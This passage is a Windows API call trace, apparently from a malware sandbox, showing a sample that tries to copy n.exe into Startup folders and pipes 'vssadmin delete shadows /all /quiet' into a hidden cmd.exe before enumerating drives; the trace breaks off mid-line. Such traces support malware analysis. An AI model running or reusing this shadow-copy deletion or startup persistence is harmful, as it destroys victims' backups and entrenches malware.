lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe") returned 0x62 [0146.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69b568 | out: hHeap=0x630000) returned 1 [0146.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68b560 | out: hHeap=0x630000) returned 1 [0146.802] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x1e50020 [0146.802] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.802] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665a78 [0146.802] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.802] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665ac8 [0146.802] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0146.802] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0146.802] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0146.802] lstrlenW (lpString="kernel32.dll") returned 12 [0146.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a78 | out: hHeap=0x630000) returned 1 [0146.802] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.802] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0146.802] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0146.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.803] CloseHandle (hObject=0xe4) returned 1 [0146.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665ac8 [0146.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665a78 [0146.803] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0146.803] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0146.803] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0146.803] lstrlenW (lpString="kernel32.dll") returned 12 [0146.803] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a78 | out: hHeap=0x630000) returned 1 [0146.803] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.803] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0146.803] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x1e50020 | out: hHeap=0x630000) returned 1 [0146.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x68b560 [0146.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x69b568 [0146.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665ac8 [0146.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665ac8, Size=0x40) returned 0x666bd0 [0146.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666bd0, Size=0x80) returned 0x6ab588 [0146.803] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x667d48 [0146.803] lstrlenW (lpString="") returned 0 [0146.803] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8c) returned 0x667e50 [0146.804] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0146.804] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x69b568, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0146.804] RegCloseKey (hKey=0xe4) returned 0x0 [0146.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667e50 | out: hHeap=0x630000) returned 1 [0146.804] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0146.804] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667d48 | out: hHeap=0x630000) returned 1 [0146.804] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpDst=0x68b560, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe") returned 0x43 [0146.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69b568 | out: hHeap=0x630000) returned 1 [0146.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68b560 | out: hHeap=0x630000) returned 1 [0146.804] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x1e50020 [0146.804] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665ac8 [0146.804] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.804] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665a78 [0146.804] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0146.804] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0146.804] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0146.804] lstrlenW (lpString="kernel32.dll") returned 12 [0146.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0146.804] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a78 | out: hHeap=0x630000) returned 1 [0146.805] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0146.805] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.805] CloseHandle (hObject=0xe4) returned 1 [0146.805] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.805] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665a78 [0146.805] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.805] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x665ac8 [0146.805] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0146.805] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0146.805] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0146.805] lstrlenW (lpString="kernel32.dll") returned 12 [0146.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665ac8 | out: hHeap=0x630000) returned 1 [0146.805] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a78 | out: hHeap=0x630000) returned 1 [0146.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x1e50020 | out: hHeap=0x630000) returned 1 [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66b550 | out: hHeap=0x630000) returned 1 [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67b558 | out: hHeap=0x630000) returned 1 [0146.806] lstrlenW (lpString="%windir%\\System32") returned 17 [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666b40 | out: hHeap=0x630000) returned 1 [0146.806] lstrlenW (lpString="%appdata%") returned 9 [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644530 | out: hHeap=0x630000) returned 1 [0146.806] lstrlenW (lpString="%sh(Startup)%") returned 13 [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644508 | out: hHeap=0x630000) returned 1 [0146.806] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666b88 | out: hHeap=0x630000) returned 1 [0146.806] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x644508 [0146.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644508, Size=0x40) returned 0x666b88 [0146.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666b88, Size=0x80) returned 0x6ab588 [0146.806] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x644508 [0146.806] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1fffc) returned 0x66b550 [0146.806] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x68b558 [0146.806] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x69b560 [0146.806] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664bf0 [0146.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664bf0, Size=0x20) returned 0x644530 [0146.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644530, Size=0x40) returned 0x666b88 [0146.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666b88, Size=0x80) returned 0x6ab610 [0146.806] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab610, Size=0x100) returned 0x667d48 [0146.806] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x667d48 | out: hHeap=0x630000) returned 1 [0146.806] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x68b558, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69b560 | out: hHeap=0x630000) returned 1 [0146.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68b558 | out: hHeap=0x630000) returned 1 [0146.806] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0146.807] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0146.807] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0146.807] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0146.807] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x700, dwThreadId=0x70c)) returned 1 [0146.953] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0146.953] WriteFile (in: hFile=0xec, lpBuffer=0x6ab588*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x6ab588*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0146.953] CloseHandle (hObject=0xfc) returned 1 [0146.953] CloseHandle (hObject=0xf8) returned 1 [0146.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66b550 | out: hHeap=0x630000) returned 1 [0146.953] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0146.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ab588 | out: hHeap=0x630000) returned 1 [0146.953] lstrlenW (lpString="%comspec%") returned 9 [0146.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644508 | out: hHeap=0x630000) returned 1 [0146.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0146.953] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664bf0 [0146.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x664bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0146.954] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x644940 [0146.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x644940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0146.954] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664c08 [0146.954] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664c08, Size=0x20) returned 0x644508 [0146.954] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644508, Size=0x40) returned 0x666b88 [0146.954] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0146.954] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd0) returned 0x667dc0 [0146.954] GetLogicalDrives () returned 0x4 [0146.954] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10014) returned 0x66b550 [0146.954] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664c08 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x664c08, Size=0x20) returned 0x644508 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644508, Size=0x40) returned 0x666c18 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x666c18, Size=0x80) returned 0x6ab588 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ab588, Size=0x100) returned 0x669330 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x669330, Size=0x200) returned 0x669330 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x669330, Size=0x400) returned 0x669330 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x669330, Size=0x800) returned 0x669948 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x669948, Size=0x1000) returned 0x6ad570 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x67b570 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664c08 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664ce0 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6448e8 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x664cf8 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6448f8 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664d10 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448f8, Size=0x8) returned 0x6448f8 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664d28 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448f8, Size=0x10) returned 0x6448b0 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664d40 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664d58 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6448b0, Size=0x20) returned 0x667c48 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664d70 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6448f8 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664d88 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664da0 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x667c48, Size=0x40) returned 0x665470 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664db8 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664dd0 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664de8 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e00 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664e18 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664e30 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6654b8 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664e48 [0146.955] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665470, Size=0x80) returned 0x669330 [0146.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664e60 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664e78 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664e90 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x664ea8 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669960 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669978 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669990 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6448b0 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6699a8 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6699c0 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6699d8 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6699f0 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669a08 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669a20 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669a38 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669a50 [0146.956] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x669330, Size=0x100) returned 0x669330 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669a68 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669a80 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669a98 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x669ab0 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669ac8 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669ae0 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6448c0 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669af8 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669b10 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669b28 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x667c48 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669b40 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669b58 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x667c58 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669b70 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669b88 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669ba0 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669bb8 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669bd0 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669be8 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x669c00 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669c18 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x669c30 [0146.956] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669c48 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669c60 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669c78 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669c90 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x667c68 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669ca8 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669cc0 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669cd8 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669cf0 [0146.957] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x669330, Size=0x200) returned 0x669330 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669d08 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x665470 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669d20 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669d60 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669d78 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669d90 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669da8 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669dc0 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669dd8 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669df0 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669e08 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669e20 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669e38 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669e50 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669e68 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669e80 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669e98 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669eb0 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669ec8 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x669ee0 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669ef8 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669f10 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669f28 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x665480 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x669f40 [0146.957] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 